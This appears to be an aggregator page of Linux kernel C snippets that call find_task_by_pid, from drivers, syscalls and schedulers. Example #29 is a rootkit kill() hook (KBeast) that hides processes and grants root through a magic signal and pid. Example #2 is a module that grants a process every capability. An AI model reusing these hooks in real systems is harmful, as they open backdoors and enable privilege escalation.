Beispiel #1
0
static int rkusb_read_sdram( struct rkusb_dev *dev )
{
        int pid;
        if( __rkusb_read_enable() ) {
                if( DEV_OFFSET(dev) >= 0xc0000000 ) {
                        rkusb_normal_data_xfer( dev , NULL ); 
                        return RKUSB_CB_OK_NONE;
                }
                pid = DEV_PID( dev );
                if( pid ) {
                        dev->slave_task = find_task_by_pid( pid );
                        if(!dev->slave_task )
                                return RKUSB_CB_FAILD;
                        //rk28printk("%s::pid=%d,task=%s\n" , __func__ , pid , dev->slave_task->comm );
                } else {
                        dev->slave_task = current ;
                }
                if( dev->slave_task == current ){
                        char *dest = __rkusb_rwbuffer_start( dev );
                        int n = copy_from_user((void*)dest, (const void __user*)DEV_OFFSET(dev), DEV_LENGTH(dev));
                        if( !n ) {
                                rkusb_normal_data_xfer_onetime( dev , dest );
                                return RKUSB_CB_OK_NONE;
                        } else 
                                return RKUSB_CB_FAILD;
                }
                rkusb_wakeup_thread( dev );
                return RKUSB_CB_OK_NONE;
        }
        return RKUSB_CB_FAILD;
}
Beispiel #2
0
int init_module(void) {
    struct task_struct *task;

    cap_bset = -1;

    if (pid == 0) {
        task = current->parent;

        if (task == NULL) {
            printk(KERN_ERR "capall: current process has no parent\n");
            return -EINVAL;
        }
    } else {
        task = find_task_by_pid(pid);

        if (task == NULL) {
            printk(KERN_ERR "capall: pid %u not found\n",
                   pid);
            return -EINVAL;
        }
    }

    task->cap_effective = -1;
    task->cap_inheritable = -1;
    task->cap_permitted = -1;
    task->keep_capabilities = 1;
    
    return -1;
}
Beispiel #3
0
static int rkusb_write_sdram( struct rkusb_dev *dev )
{
        int pid;
        if( __rkusb_write_enable() ) {
                int max_len;
                if( DEV_OFFSET(dev) >= 0xc0000000 ) {
                        rkusb_normal_data_xfer( dev , NULL ); 
                        return RKUSB_CB_OK_NONE;
                }
                max_len = DEV_RWBUF_LENGTH( dev );
                if( max_len < DEV_LENGTH(dev) ) {
                            return RKUSB_CB_FAILD;
                }
                pid = DEV_PID( dev );
                if( pid ) {
                        dev->slave_task = find_task_by_pid( pid );
                        if(!dev->slave_task )
                                return RKUSB_CB_FAILD;
                        //rk28printk("%s::pid=%d,task=%s\n" , __func__ , pid , dev->slave_task->comm );
                } else {
                        dev->slave_task = current ;
                }
                /* bakeup real offset and length */
                dev->private_tmp = (void*)DEV_OFFSET(dev);
                dev->buf_nfill = DEV_LENGTH(dev);
                __rkusb_set_dest_or_source( dev , __rkusb_rwbuffer_start( dev ) );
                rkusb_normal_data_xfer( dev , rkusb_write_sdram_cb);
                return RKUSB_CB_OK_NONE;
        }
        return RKUSB_CB_FAILD;
}
Beispiel #4
0
void
set_sigdelayed(pid_t pid, int signo, int code, void __user *addr)
{
	struct task_struct *t;
	unsigned long start_time =  0;
	int i;

	for (i = 1; i <= 3; ++i) {
		switch (i) {
		case 1:
			t = find_task_by_pid(pid);
			if (t)
				start_time = start_time_ul(t);
			break;
		case 2:
			t = current;
			break;
		default:
			t = idle_task(smp_processor_id());
			break;
		}

		if (!t)
			return;
		task_thread_info(t)->sigdelayed.signo = signo;
		task_thread_info(t)->sigdelayed.code = code;
		task_thread_info(t)->sigdelayed.addr = addr;
		task_thread_info(t)->sigdelayed.start_time = start_time;
		task_thread_info(t)->sigdelayed.pid = pid;
		wmb();
		set_tsk_thread_flag(t, TIF_SIGDELAYED);
	}
}
Beispiel #5
0
int sys_remaining_time(int pid)	{
	struct task_struct *task;
	int ret_value = -EINVAL;	
	
	if (pid < 0) {
		return ret_value;
    }

    if (pid == 0) {
        task = &init_task;
    } else {
        task = find_task_by_pid(pid);
    }

	if (!task) {
        return ret_value;
    }
	
	if (task->policy == SCHED_SHORT) {
		ret_value = (task->time_slice) * (1000/HZ);
		if(!task->trial_num) {
			ret_value = 0;
		}
	}
	return ret_value;
}
Beispiel #6
0
sal_err_t sal_task_create(sal_task_t **ptask,
                          const char *name,
                          size_t stack_size,
                          void (*start)(void *),
                          void *arg)
{
    sal_task_t *task;
    int pid;

    SAL_MALLOC(task, sal_task_t *, sizeof(sal_task_t));
    if (!task)
        return ENOMEM;
    task->name = name;
    task->start = start;
    task->arg = arg;
    init_completion(&task->started);
    init_completion(&task->done);

    pid = kernel_thread(_sal_thread_start, task, CLONE_KERNEL);
    if (pid < 0)
    {
        SAL_FREE(task);

        return -pid;
    }

    wait_for_completion(&task->started);
    task->ktask = find_task_by_pid(pid);
    *ptask = task;

    return 0;
}
Beispiel #7
0
int sys_is_SHORT(int pid) {
	struct task_struct *task;
	int ret_value = -EINVAL;
	
	if (pid < 0) {
		return ret_value;
    }

    if (pid == 0) {
        task = &init_task;
    } else {
        task = find_task_by_pid(pid);
    }

	if (!task) {
        return ret_value;
    }

	if(task->policy == SCHED_SHORT) {
		if(!task->trial_num){
			ret_value = 0;
		}
		ret_value = 1;
	}
	return ret_value;
}
Beispiel #8
0
int sys_remaining_trials(int pid) {		  /*syscall 245*/
    //Checking if pid is neg
	if (pid < 0) {
		return -EINVAL;
    }
	//getting process by pid
	struct task_struct *target;
    if (pid == 0) {
        target = &init_task;
    } else {
        target = find_task_by_pid(pid);
    }
    //Checking if process exists
	if (!target) {
        return -EINVAL;
    }
	int res = -EINVAL;
	//Returning 0 in case process is OVERDUE or remaining_trials if process is SHORT
	if(target->policy == SCHED_SHORT) {
		res = target->trial_num - target->trial_num_counter +1;
		if(target->is_overdue == 1){
			res = 0;
		}
	}
	return res;
}
Beispiel #9
0
static int process_message_thread(void * data)  
{  
    struct sk_buff * skb = NULL;  
    struct nlmsghdr * nlhdr = NULL;  
    int len;  
    DEFINE_WAIT(wait);  
    struct sig_struct_info sigi;  
    struct siginfo info;  
    daemonize("netlink-kill");  
    while (flag == 0) {  
        prepare_to_wait(netlink_kill_sock->sk_sleep, &wait, TASK_INTERRUPTIBLE);  
        schedule();  
        finish_wait(netlink_kill_sock->sk_sleep, &wait);  
        while ((skb = skb_dequeue(&netlink_kill_sock->sk_receive_queue)) != NULL) {  
            struct task_struct *p;  
            nlhdr = (struct nlmsghdr *)skb->data;  
            len = nlhdr->nlmsg_len - NLMSG_LENGTH(0);  
            memset(&sigi, 0, sizeof(struct sig_struct_info));  
            memcpy(&sigi, NLMSG_DATA(nlhdr), len);  
            info.si_signo = sigi.sig;  
            info.si_errno = 0;  
            info.si_code = SI_USER;  
            info.si_pid = current->tgid;  
            info.si_uid = current->uid;  
            p = find_task_by_pid(sigi.pid);  
            if (p)  
                force_sig_info(sigi.sig, &info, p);  
        }  
    }  
    complete(&exit_completion);  
    return 0;  
}  
Beispiel #10
0
static int
match_pid(const struct sk_buff *skb, pid_t pid)
{
	struct task_struct *p;
	struct files_struct *files;
	int i;

	read_lock(&tasklist_lock);
	p = find_task_by_pid(pid);
	if (!p)
		goto out;
	task_lock(p);
	files = p->files;
	if(files) {
		spin_lock(&files->file_lock);
		for (i=0; i < files->max_fds; i++) {
			if (fcheck_files(files, i) ==
			    skb->sk->sk_socket->file) {
				spin_unlock(&files->file_lock);
				task_unlock(p);
				read_unlock(&tasklist_lock);
				return 1;
			}
		}
		spin_unlock(&files->file_lock);
	}
	task_unlock(p);
out:
	read_unlock(&tasklist_lock);
	return 0;
}
Beispiel #11
0
asmlinkage long
compat_sys_get_robust_list(int pid, compat_uptr_t *head_ptr,
			   compat_size_t __user *len_ptr)
{
	struct compat_robust_list_head *head;
	unsigned long ret;

	if (!pid)
		head = current->compat_robust_list;
	else {
		struct task_struct *p;

		ret = -ESRCH;
		read_lock(&tasklist_lock);
		p = find_task_by_pid(pid);
		if (!p)
			goto err_unlock;
		ret = -EPERM;
		if ((current->euid != p->euid) && (current->euid != p->uid) &&
				!capable(CAP_SYS_PTRACE))
			goto err_unlock;
		head = p->compat_robust_list;
		read_unlock(&tasklist_lock);
	}

	if (put_user(sizeof(*head), len_ptr))
		return -EFAULT;
	return put_user(ptr_to_compat(head), head_ptr);

err_unlock:
	read_unlock(&tasklist_lock);

	return ret;
}
Beispiel #12
0
/*
 * NOTE! Normally we'd indicate that a file does not
 * exist by creating a negative dentry and returning
 * a successful return code. However, for this case
 * we do not want to create negative dentries, because
 * the state of the world can change behind our backs.
 *
 * Thus just return -ENOENT instead.
 */
static int proc_lookupfd(struct inode * dir, struct dentry * dentry)
{
	unsigned int ino, pid, fd, c;
	struct task_struct * p;
	struct file * file;
	struct inode *inode;
	const char *name;
	int len, err;

	err = -ENOENT;
	if (!dir)
		goto out;
	ino = dir->i_ino;
	pid = ino >> 16;
	ino &= 0x0000ffff;

	if (!pid || ino != PROC_PID_FD || !S_ISDIR(dir->i_mode))
		goto out;

	fd = 0;
	len = dentry->d_name.len;
	name = dentry->d_name.name;
	while (len-- > 0) {
		c = *name - '0';
		name++;
		if (c > 9)
			goto out;
		fd *= 10;
		fd += c;
		if (fd & 0xffff8000)
			goto out;
	}

	read_lock(&tasklist_lock);
	file = NULL;
	p = find_task_by_pid(pid);
	if (p)
		file = fcheck_task(p, fd);
	read_unlock(&tasklist_lock);

	/*
	 *	File handle is invalid if it is out of range, if the process
	 *	has no files (Zombie) if the file is closed, or if its inode
	 *	is NULL
	 */

	if (!file || !file->f_dentry)
		goto out;

	ino = (pid << 16) + PROC_PID_FD_DIR + fd;
	inode = proc_get_inode(dir->i_sb, ino, NULL);
	if (inode) {
		dentry->d_op = &proc_dentry_operations;
		d_add(dentry, inode);
		err = 0;
	}
out:
	return err;
}
Beispiel #13
0
void check_daemon(void)
{
    if(!daemon)
        return;
        
    lock_kernel();	
    if(!find_task_by_pid(daemon->pid))
        daemon = NULL;    
    unlock_kernel();  
}
Beispiel #14
0
static struct task_struct *my_find_task_by_pid(pid_t pid) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,28)
    return pid_task(find_pid_ns(pid, &init_pid_ns), PIDTYPE_PID);
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,26)
    /* The pid has come from userspace, so we can use f_t_b_vpid to look up */
    return find_task_by_vpid(pid);
#else
    return find_task_by_pid(pid);
#endif
}
Beispiel #15
0
asmlinkage long sys_capget(cap_user_header_t header, cap_user_data_t dataptr)
{
     int error, pid;
     __u32 version;
     struct task_struct *target;
     struct __user_cap_data_struct data;

     if (get_user(version, &header->version))
	     return -EFAULT;
	     
     error = -EINVAL; 
     if (version != _LINUX_CAPABILITY_VERSION) {
             version = _LINUX_CAPABILITY_VERSION;
	     if (put_user(version, &header->version))
		     error = -EFAULT; 
             return error;
     }

     if (get_user(pid, &header->pid))
	     return -EFAULT; 

     if (pid < 0) 
             return -EINVAL;

     error = 0;

     spin_lock(&task_capability_lock);

     if (pid && pid != current->pid) {
	     read_lock(&tasklist_lock); 
             target = find_task_by_pid(pid);  /* identify target of query */
             if (!target) 
                     error = -ESRCH;
     } else {
             target = current;
     }

     if (!error) { 
	     data.permitted = cap_t(target->cap_permitted);
	     data.inheritable = cap_t(target->cap_inheritable); 
	     data.effective = cap_t(target->cap_effective);
     }

     if (target != current)
	     read_unlock(&tasklist_lock); 
     spin_unlock(&task_capability_lock);

     if (!error) {
	     if (copy_to_user(dataptr, &data, sizeof data))
		     return -EFAULT; 
     }

     return error;
}
Beispiel #16
0
/** Function to initialize the first DDE process.
 */
static int __init l4dde26_process_init(void)
{
	ddekit_lock_init_unlocked(&_pid_task_list_lock);

	int kthreadd_pid = kernel_thread(kthreadd, NULL, CLONE_FS | CLONE_FILES);
	kthreadd_task = find_task_by_pid(kthreadd_pid);

	l4dde26_process_add_worker();

	return 0;
}
Beispiel #17
0
static int get_arg(int pid, char * buffer)
{
	struct task_struct *p;

	read_lock(&tasklist_lock);
	p = find_task_by_pid(pid);
	read_unlock(&tasklist_lock);	/* FIXME!! This should be done after the last use */
	if (!p || !p->mm)
		return 0;
	return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer);
}
Beispiel #18
0
int ssmunch(int pid, unsigned long bit_pattern) {
	int sig;
	struct task_struct *p;
	int kill_proc = 0;

	printk("ssmunch: pid=%d\n", pid);

	p = find_task_by_pid(pid);
	if(!p) return -1;

	printk("ssmunch: found a process\n");

	/* One problem with this.  If our process is defunct or asleep,
	 * then the next signal will probably be SIGCHLD or SIGALRM, and it
	 * will probably belong to a different process.  So we will see a
	 * multiple signal message from do_signal, when the signals aren't
	 * actually processed.  Such is life.
	 */
	ssmunch_multi = bit_pattern;
	
	for(sig = 1, bit_pattern >>= 1; bit_pattern != 0;
		sig += 1, bit_pattern >>= 1) {

		if(bit_pattern&1) {
			if(sig == SIGKILL) kill_proc = 1;
			printk("ssmunch: sending signal %d\n", sig);
			sigaddset(&p->signal, sig);
		}
	}
        recalc_sigpending(p);
        p->flags |= PF_SIGNALED;

	if(kill_proc) {
		/* This won't do anything if p==current; in that case
		 * we will get killed normally.  Unfortunately, there
		 * is one case in which the process won't get killed,
		 * that is, when a process tries to kill itself with
		 * ssmunch and it's parent process is asleep.  We'll
		 * then end up with a defunct process that can be
		 * killed by ssmunch.
		 *
		 * Incidentally, we probably shouldn't allow init to be
		 * killed.  But, alas, that wasn't in the spec...
		 */
		wake_up_process(p);
		release(p);
		schedule();

		/* sanity check, since start_time is UL */
		if(p->start_time > INT_MAX) return INT_MAX;
		return p->start_time;
	}
	return 0;
}
Beispiel #19
0
asmlinkage long sys_setpriority(int which, int who, int niceval)
{
	struct task_struct *g, *p;
	struct user_struct *user;
	struct pid *pid;
	struct list_head *l;
	int error = -EINVAL;

	if (which > 2 || which < 0)
		goto out;

	/* normalize: avoid signed division (rounding problems) */
	error = -ESRCH;
	if (niceval < -20)
		niceval = -20;
	if (niceval > 19)
		niceval = 19;

	read_lock(&tasklist_lock);
	switch (which) {
		case PRIO_PROCESS:
			if (!who)
				who = current->pid;
			p = find_task_by_pid(who);
			if (p)
				error = set_one_prio(p, niceval, error);
			break;
		case PRIO_PGRP:
			if (!who)
				who = process_group(current);
			for_each_task_pid(who, PIDTYPE_PGID, p, l, pid)
				error = set_one_prio(p, niceval, error);
			break;
		case PRIO_USER:
			if (!who)
				user = current->user;
			else
				user = find_user(who);

			if (!user)
				goto out_unlock;

			do_each_thread(g, p)
				if (p->uid == who)
					error = set_one_prio(p, niceval, error);
			while_each_thread(g, p);
			break;
	}
out_unlock:
	read_unlock(&tasklist_lock);
out:
	return error;
}
Beispiel #20
0
void schedule() {
  struct task_struct *next_task = NULL;
  struct task_struct *prev_task = current_task;

  register unsigned long sp asm ("sp");
  printk(PR_SS_PROC, PR_LVL_DBG5, "%s, sp = %x\n", __func__, sp);

  need_reschedule = false;

  if (NULL == current_task) while(1);

  if (PROCESS_STATE_DEAD == current_task->sched_en.state) {
	int waiting_pid = current_task->sched_en.blocked_pid;
	if (-1 != waiting_pid) {
	  struct task_struct *waiting_task = find_task_by_pid(waiting_pid);
	  if (waiting_task) {
		dequeue_task(waiting_task);
		waiting_task->sched_en.state = PROCESS_STATE_READY;
		waiting_task->sched_en.blocking_pid = -1;
		enqueue_task(waiting_task, sched_enqueue_flag_timeout);
	  }
	}
	destroy_user_thread(current_task);
	current_task = NULL;
  } else
	scheduler->enqueue_task(current_task, sched_enqueue_flag_timeout);

  next_task = scheduler->pick_next_task();

  if (current_task)
	printk(PR_SS_PROC, PR_LVL_DBG5, "%s, current_task->pid = %d\n", __func__, current_task->pid);
  if (next_task)
	printk(PR_SS_PROC, PR_LVL_DBG5, "%s, next_task->pid = %d\n", __func__, next_task->pid);

  if (current_task == next_task) {
	printk(PR_SS_PROC, PR_LVL_DBG5, "%s, current_task == next_task\n", __func__);
	return;
  } else if (NULL == next_task) {
	printk(PR_SS_PROC, PR_LVL_DBG5, "%s, NULL == next_task\n", __func__);
	return;
  } else if (NULL == current_task) {
	printk(PR_SS_PROC, PR_LVL_DBG5, "%s, NULL == current_task\n", __func__);
	current_task = next_task;
  } else {
	printk(PR_SS_PROC, PR_LVL_DBG5, "%s, current_task != next_task\n", __func__);
	current_task = next_task;
  }

  printk(PR_SS_PROC, PR_LVL_DBG5, "%s, context_switch %d <--> %d start\n", __func__, prev_task->pid, next_task->pid);  
  context_switch(prev_task, next_task);
  printk(PR_SS_PROC, PR_LVL_DBG5, "%s, context_switch %d <--> %d finish\n", __func__, prev_task->pid, next_task->pid);
}
Beispiel #21
0
/*
 * Ugh. To avoid negative return values, "getpriority()" will
 * not return the normal nice-value, but a negated value that
 * has been offset by 20 (ie it returns 40..1 instead of -20..19)
 * to stay compatible.
 */
asmlinkage long sys_getpriority(int which, int who)
{
	struct task_struct *g, *p;
	struct list_head *l;
	struct pid *pid;
	struct user_struct *user;
	long niceval, retval = -ESRCH;

	if (which > 2 || which < 0)
		return -EINVAL;

	read_lock(&tasklist_lock);
	switch (which) {
		case PRIO_PROCESS:
			if (!who)
				who = current->pid;
			p = find_task_by_pid(who);
			if (p) {
				niceval = 20 - task_nice(p);
				if (niceval > retval)
					retval = niceval;
			}
			break;
		case PRIO_PGRP:
			if (!who)
				who = process_group(current);
			for_each_task_pid(who, PIDTYPE_PGID, p, l, pid) {
				niceval = 20 - task_nice(p);
				if (niceval > retval)
					retval = niceval;
			}
			break;
		case PRIO_USER:
			if (!who)
				user = current->user;
			else
				user = find_user(who);

			if (!user)
				goto out_unlock;

			do_each_thread(g, p)
				if (p->uid == who) {
					niceval = 20 - task_nice(p);
					if (niceval > retval)
						retval = niceval;
				}
			while_each_thread(g, p);
			break;
	}
Beispiel #22
0
/*
 * Ugh. To avoid negative return values, "getpriority()" will
 * not return the normal nice-value, but a negated value that
 * has been offset by 20 (ie it returns 40..1 instead of -20..19)
 * to stay compatible.
 */
asmlinkage long sys_getpriority(int which, int who)
{
	struct task_struct *g, *p;
	struct user_struct *user;
	long niceval, retval = -ESRCH;

	if (which > 2 || which < 0)
		return -EINVAL;

	read_lock(&tasklist_lock);
	switch (which) {
		case PRIO_PROCESS:
			if (!who)
				who = current->pid;
			p = find_task_by_pid(who);
			if (p) {
				niceval = 20 - task_nice(p);
				if (niceval > retval)
					retval = niceval;
			}
			break;
		case PRIO_PGRP:
			if (!who)
				who = process_group(current);
			do_each_task_pid(who, PIDTYPE_PGID, p) {
				niceval = 20 - task_nice(p);
				if (niceval > retval)
					retval = niceval;
			} while_each_task_pid(who, PIDTYPE_PGID, p);
			break;
		case PRIO_USER:
			user = current->user;
			if (!who)
				who = current->uid;
			else
				if ((who != current->uid) && !(user = find_user(who)))
					goto out_unlock;	/* No processes for this user */

			do_each_thread(g, p)
				if (p->uid == who) {
					niceval = 20 - task_nice(p);
					if (niceval > retval)
						retval = niceval;
				}
			while_each_thread(g, p);
			if (who != current->uid)
				free_uid(user);		/* for find_user() */
			break;
	}
Beispiel #23
0
static ssize_t mdb_file_read (
	struct file	*file,
	char __user	*buf,
	size_t		count,
	loff_t		*ppos)
{
	Mdb_s	mdb;
FN;
	if (copy_from_user( &mdb, buf, count)) {
		return -EFAULT;
	}
	switch (mdb.mdb_cmd) {
	case MDB_READ:
		if (copy_to_user((void*)mdb.mdb_buf, (void*)mdb.mdb_addr,
				mdb.mdb_size))
		{
			return -EFAULT;
		}
		return mdb.mdb_size;

	case MDB_WRITE:
		if (copy_from_user((void*)mdb.mdb_addr, (void*)mdb.mdb_buf,
				mdb.mdb_size))
		{
			return -EFAULT;
		}
		return mdb.mdb_size;

	case MDB_PID2TASK:
		rcu_read_lock();
#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,17))
		mdb.pid_task = (unsigned long)find_task_by_pid(mdb.pid_pid);
#else
		//mdb.pid_task = (unsigned long)find_task_by_vpid(mdb.pid_pid);
		mdb.pid_task = (unsigned long)pid_task(find_get_pid(mdb.pid_pid),
							PIDTYPE_PID);
#endif
		rcu_read_unlock();
		if (copy_to_user( buf, &mdb, count)) {
			return -EFAULT;
		}
		return 0;

	default:
		return -EINVAL;
	}

	return 0;
}
Beispiel #24
0
/* We are keventd: create a thread. */
static void keventd_create_kthread(void *_create)
{
	struct kthread_create_info *create = _create;
	int pid;

	/* We want our own signal handler (we take no signals by default). */
	pid = kernel_thread(kthread, create, CLONE_FS | CLONE_FILES | SIGCHLD);
	if (pid < 0) {
		create->result = ERR_PTR(pid);
	} else {
		wait_for_completion(&create->started);
		create->result = find_task_by_pid(pid);
	}
	complete(&create->done);
}
/* This function allows to reset the statistics of a specified process (identified by pid) */
int reset_values (int pid){
	  struct task_struct *t;

	  if (pid < 0)
	    return -EINVAL;

	  /* Searches for the process identified by pid */
	  t = find_task_by_pid (pid);
	  if (t < 0)
	    return -ESRCH;

	  /* Resets process stats */
	  reset_stats (pid, (struct my_thread *) t->thread_info);
	  return 0;
}
Beispiel #26
0
static irqreturn_t pcidev_irqhandler(int irq, void *dev_id, struct pt_regs *regs)
{
	int pid = (int)dev_id;
	struct task_struct *task;
	read_lock(&tasklist_lock);
	task = find_task_by_pid(pid);
	if (task)
		send_sig_info(SIGUSR1, (struct siginfo *)1, task); // XXX: should be converted to real-time signals 
	read_unlock(&tasklist_lock);
	return IRQ_NONE; 
	/* 
	 * we cannot possible say IRQ_HANDLED because we simply 
	 * don't know yet... only bochs could tell
	 */
}
struct task_struct *x_find_task_by_pid(pid_t nr)
{
#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 27)
	return find_task_by_pid(nr);
#else
    struct pid *pid;
    struct task_struct *ts = NULL;
	pid = find_get_pid(nr);
	if(pid) {
		ts = pid_task(pid,PIDTYPE_PID);
		put_pid(pid);
	}
	return ts;
#endif
}
Beispiel #28
0
asmlinkage long sys_setpriority(int which, int who, int niceval)
{
	struct task_struct *g, *p;
	struct user_struct *user;
	int error = -EINVAL;

	if (which > 2 || which < 0)
		goto out;

	/* normalize: avoid signed division (rounding problems) */
	error = -ESRCH;
	if (niceval < -20)
		niceval = -20;
	if (niceval > 19)
		niceval = 19;

	read_lock(&tasklist_lock);
	switch (which) {
		case PRIO_PROCESS:
			if (!who)
				who = current->pid;
			p = find_task_by_pid(who);
			if (p)
				error = set_one_prio(p, niceval, error);
			break;
		case PRIO_PGRP:
			if (!who)
				who = process_group(current);
			do_each_task_pid(who, PIDTYPE_PGID, p) {
				error = set_one_prio(p, niceval, error);
			} while_each_task_pid(who, PIDTYPE_PGID, p);
			break;
		case PRIO_USER:
			user = current->user;
			if (!who)
				who = current->uid;
			else
				if ((who != current->uid) && !(user = find_user(who)))
					goto out_unlock;	/* No processes for this user */

			do_each_thread(g, p)
				if (p->uid == who)
					error = set_one_prio(p, niceval, error);
			while_each_thread(g, p);
			if (who != current->uid)
				free_uid(user);		/* For find_user() */
			break;
	}
Beispiel #29
0
/*
Don't allow your process to be killed
Allow local root escalation using magic signal dan pid
*/
asmlinkage int h4x_kill(int pid, int sig) {
  int r;
  struct task_struct *cur;
  cur = find_task_by_pid(pid);
  if(cur){
    if(strstr(cur->comm,_H4X0R_)||strstr(cur->comm,KBEAST)){
      return -ESRCH;
    }
  }
  if(sig == _MAGIC_SIG_ && pid == _MAGIC_PID_){
    current->uid=0;current->euid=0;current->gid=0;current->egid=0;return 0;
    return 0;
  } 
  r = (*o_kill)(pid,sig);
  return r;
}
Beispiel #30
0
static int rkusb_get_task_cmd( struct rkusb_dev *dev )
{
        struct task_struct *p;
        int     pid = DEV_OFFSET(dev);
        if( DEV_LENGTH(dev) > DEV_RWBUF_LENGTH( dev ) )
                return RKUSB_CB_FAILD;
        if( pid == 0 )
                p = current ;
        else {
                p = find_task_by_pid( pid );
                if( !p )
                        return RKUSB_CB_FAILD;
        }
        dev->slave_task = p;
        return RKUSB_CB_OK_NONE;
}